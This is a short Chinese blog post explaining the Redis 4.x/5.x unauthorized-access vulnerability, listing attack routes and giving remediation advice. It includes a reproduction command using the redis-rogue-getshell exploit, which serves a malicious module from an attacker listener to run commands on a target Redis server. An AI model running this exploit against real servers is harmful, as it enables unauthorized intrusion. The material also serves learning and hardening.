Redis 4.x/5.x 未授权访问漏洞

0x01 Redis是什么?

Redis是数据库,一个高性能的key-value存储系统,是使用ANSI C语言编写的。

0x02 Redis未授权访问漏洞

Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。

0x03 影响版本

影响版本Redis未授权访问在4.x/5.0.5版本以下

0x04 攻击手段

1.直接未授权访问,对redis数据库的操作

2.ssh免密钥登录(有思维导图)

3.对redis数据库写马子拿shell,与第二点条件和思路差不多

4.写进反弹shell,设置反弹时间反弹。

5.利用现有exp

0x05 漏洞复现(利用现有exp)

poc地址:

https://github.com/vulhub/redis-rogue-getshell

编译

攻击

python3 redis-master.py  -h

python3 redis-master.py  -r 192.168.227.128 -p 6379 -L 192.168.227.129  -P 8989 -f RedisModulesSDK/exp.so  -c "id"

修复方案

1.禁止一些高危命令(重启redis才能生效)

2.以低权限运行 Redis 服务(重启redis才能生效)切身体会

3.为 Redis 添加密码验证(重启redis才能生效)

4.禁止外网访问 Redis(重启redis才能生效)

5.修改默认端口

6.保证 authorized_keys 文件的安全

7.设置防火墙策略

posted @ 2020-07-09 21:56  大雁blogs  阅读(1118)  评论(0编辑  收藏  举报